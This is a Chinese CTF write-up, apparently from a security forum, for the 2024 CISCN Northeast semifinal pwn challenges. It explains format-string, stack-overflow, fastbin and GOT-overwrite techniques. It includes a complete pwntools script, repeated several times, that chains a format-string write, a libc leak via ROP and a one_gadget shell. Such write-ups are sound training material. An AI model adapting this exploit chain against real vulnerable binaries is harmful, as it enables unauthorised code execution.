首页
社区
课程
招聘
2024全国大学生信息安全竞赛(Ciscn)半决赛东北赛区Pwn题解
发表于: 2024-6-14 09:14 9464

2024全国大学生信息安全竞赛(Ciscn)半决赛东北赛区Pwn题解

2024-6-14 09:14
9464

今年Ciscn华东北赛区半决赛的时间比较晚,找东北赛区的师傅要了一份半决赛Pwn题。

听说好像有5个Pwn题,但是只拿到了4个。如果有师傅有剩下那一个欢迎私信我。

拿到手的4个除了最后一个vmJS,还是挺简单的。都是格式化字符串、栈溢出和低版本libc题目,没有出Kernel、LLVM和高版本IO题。

半决赛前提前准备下,顺便练练手,顺手写了一份东北赛区Pwn题解,分享出来,欢迎师傅们批评指正。

拖入IDA分析,发现存在一个格式化字符串漏洞sprintf(buf, buf):


程序运行后打印puts的地址,泄露了libc。但是stdout开启了缓冲区,导致输出的内容无法显示。

直接运行程序,发现真的不会输出任何内容,程序结束时才会刷新缓冲区:

我们看下Init函数:

这里介绍下setvbuf函数,它有三种mode:

然后分析下vuln函数,发现存在栈溢出漏洞:

程序很简单,分析完毕,并且思路很清晰:

第一步,通过格式化字符串漏洞修改magic == 1,进入vuln函数。

sprintf函数和printf函数区别:sprinf函数不会把格式化的数据输出,而是写入到sprintf函数的第一个参数。

因此,rdi是指针,rsi是格式化字符串,rdx、rcx、r8、r9是格式化字符串的参数。

题目没开启PIE保护,并且由于magic是bss段地址,会出现\x00截断,需要放到格式化字符串的后面。

计算得出地址的偏移量为6,构造如下payload:

第二步,如果是常规的题目,我们在这里可以直接ret2libc。但是这题开启了stdout缓冲区,需要想办法将缓冲区内容输出。

无非是下面三种办法:

调用setvbuf设置为无缓冲的stdout:发现程序没有控制第三个参数rdx寄存器的gadget。

调用fflush函数刷新缓冲区:fflush函数在libc,目前还不知道libc地址。

填满缓冲区,程序会将所有的缓冲区内容全部输出:

第三步,常规打法,直接ret2libc即可。

我这里用了onegadget(需要通过gadget调整下寄存器满足参数),当然也可以system("/bin/sh\x00")。

完整exp如下所示:

题目给了2.23版本的libc,拖入IDA简单分析:

程序开头初始化的位置初始化了一个长度为8的数组,数组内容为0x10:

依次分析增删改查函数,add函数如下:

指针数组(heap_array)最多存储8个chunk,输入下标和size后,将size+0x10存储到heap_size_array。

并且,只能申请fastbin大小范围为的chunk 和 0x90大小的chunk。read的size是输入的size+0x10,存在0x10字节溢出。

这里的溢出刚好可以修改下一个chunk的size和fd,除了fastbin,可以申请0x90大小的chunk释放到unsorted bin泄露libc。

(当然,这题就算只能申请fastbin大小范围的chunk也可以做,2.23版本通过溢出改大chunk的size也能释放到unsorted bin)

然后分析edit函数:

最多编辑0x10大小,好像用处不大,可以修改chunk的fd、bk指针的位置。

继续分析delete函数:

一直跟到最后,发现不存在UAF漏洞。

最后分析show函数:

只能调用一次,可以用来输出unsorted bin遗留的fd指针泄露libc。

程序分析完毕,由于是2.23版本的libc,而且程序没有开启PIE和RELRO,GOT表可写,所以做法有很多。

大概有以下几种做法:

当然,无论怎么做,首先要泄露libc地址。申请一个chunk放到unsorted bin,然后add回来通过show输出fd遗留的main_arena指针。

这里介绍最简单的做法,直接fastbin attack改__malloc_hook -> one_gadget。

one_gadget打不通,需要通过realloc调整堆栈。完整exp如下所示:

题目是C++编写,不过不是很复杂,就设计2个数据结构和2个操作。

分别是cstr和String的读写,漏洞在程序的数组中。拖入IDA分析:

发现调用了Test类的构造函数,跟入分析:

将v22 + 32的位置初始化一个String指针,然后将v22到v22 + 31的位置填充0。

不用往下分析都知道,这个数组的第0-31个成员存储了c_str,而第32个成员存储String指针。

继续往下,提供了一个菜单交互,并且while(std::ios::good())这个是检查输入流是否正常,即不断有新的输入。

逐个函数分析,先来看1.set c_str功能:

显然,通过cin直接往v22读入数据,并且没有限制长度,这里可以存在溢出并可以篡改String指针地址。

继续分析2.get c_str功能:

直接通过cout输出数组的内容。

继续分析3.set str功能:

最后分析4.get str功能:

直接打印String指针指向的内容。

程序很简单,通过c_str的输入可以覆盖String指针,实现任意地址读写。

题目还给了后门函数:

因此,解法就非常多了,这里给出一个很简单的利用方法。

直接修改std::ios::good()的got表为后门函数即可,完整exp如下所示:

vm题,题目是一个JS解释器。

逆向有点复杂,虽然研究过一部分LLVMPass和vm逆向,但是还是没有搞懂这个题目执行流程。

如果有大佬解出来欢迎分享~

payload = b'a%6$llna' + p64(0x404070)
payload = b'a%6$llna' + p64(0x404070)
for i in range(150):
    payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor)
    p.send(payload)
 
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x84420
p.recv()
print('libc_base = ' + hex(libc_base))
for i in range(150):
    payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor)
    p.send(payload)
 
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x84420
p.recv()
print('libc_base = ' + hex(libc_base))
# ret2libc
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp
 
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
'''
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdx = libc_base + 0x0000000000142c92
 
payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rsi_r15) + p64(0) * 2 + p64(pop_rdx) + p64(0) + p64(libc_base + one_gadget[2])
p.send(payload)
# ret2libc
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp
 
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
'''
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdx = libc_base + 0x0000000000142c92
 
payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rsi_r15) + p64(0) * 2 + p64(pop_rdx) + p64(0) + p64(libc_base + one_gadget[2])
p.send(payload)
from pwn import *
 
context.log_level = 'debug'
 
p = process('./pwn')
elf = ELF('pwn')
libc = ELF('libc-2.31.so')
 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
backdoor = 0x401331
pop_rdi = 0x0000000000401463
pop_rsi_r15 = 0x0000000000401461
 
# magic -> 1
payload = b'a%6$llna' + p64(0x404070)
p.send(payload)
 
# leak libc
for i in range(150):
    payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor)
    p.send(payload)
 
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x84420
p.recv()
print('libc_base = ' + hex(libc_base))
 
# ret2libc
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp
 
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
'''
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdx = libc_base + 0x0000000000142c92
 
payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rsi_r15) + p64(0) * 2 + p64(pop_rdx) + p64(0) + p64(libc_base + one_gadget[2])
p.send(payload)
 
p.interactive()
from pwn import *
 
context.log_level = 'debug'
 
p = process('./pwn')
elf = ELF('pwn')
libc = ELF('libc-2.31.so')
 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
backdoor = 0x401331
pop_rdi = 0x0000000000401463
pop_rsi_r15 = 0x0000000000401461
 
# magic -> 1
payload = b'a%6$llna' + p64(0x404070)
p.send(payload)
 
# leak libc
for i in range(150):
    payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(backdoor)
    p.send(payload)
 
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - 0x84420
p.recv()
print('libc_base = ' + hex(libc_base))
 
# ret2libc
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp
 
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
 
'''
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
pop_rdx = libc_base + 0x0000000000142c92
 
payload = b'a' * 0x10 + b'deadbeef' + p64(pop_rsi_r15) + p64(0) * 2 + p64(pop_rdx) + p64(0) + p64(libc_base + one_gadget[2])
p.send(payload)
 
p.interactive()

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-6-15 09:21 被Real返璞归真编辑 ,原因: 补充附件
上传的附件:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
stdout那题你能将rdi控制为stdout?控制不了rdx寄存器好解决,跑个ret2csu就行了
2024-9-27 15:18
0
游客
登录 | 注册 方可回帖
返回
//